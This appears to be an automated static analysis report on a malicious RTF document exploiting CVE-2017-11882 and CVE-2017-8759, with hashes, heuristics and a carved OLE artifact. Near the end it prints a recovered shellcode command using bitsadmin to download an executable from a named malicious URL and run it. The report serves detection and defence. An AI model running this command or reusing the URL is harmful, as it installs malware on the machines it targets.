Malicious RTF — malware analysis report

Static analysis result for SHA-256 1c49123e52ed8c15…

MALICIOUS

RTF

435.1 KB Created: 2018-05-27 22:42:00 First seen: 2019-03-18
MD5: 518b05cb7be9b82be2515a2892333a8a SHA-1: 47e8efbef80248cc4d12c521977206900747c188 SHA-256: 1c49123e52ed8c15c26b0616a1c9227c045bbc8f1c040fd9c1ab92fe187c4d84
262 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and triggers critical vulnerabilities CVE-2017-11882 and CVE-2017-8759, indicating exploitation for client execution. The file also contains a suspicious extracted artifact, objdata_00_off0000a19f.bin, and an unknown reputation URL that likely serves as a download location for a second-stage payload. The presence of these elements strongly suggests a malicious document designed to deliver further malware.

Heuristics 7

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://inctelanganatelugu.in/wp-includes/_output467EB20.exe In RTF body
    • http://schemas.microsoft.com/offiIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000a19f.bin rtf-objdata-decoded RTF \objdata at offset 0xA19F 15672 bytes
SHA-256: 8388d21f6438ec80997b0bcc6a840471f0501a6830be11ee187cd17145f20e75
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://inctelanganatelugu.in/wp-includes/_output467EB20.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer TM /priority foreground http://inctelanganatelugu.in/wp-includes/_output467EB20.exe %TEMP%\rbk.exe && start %TEMP%\rbk.exe

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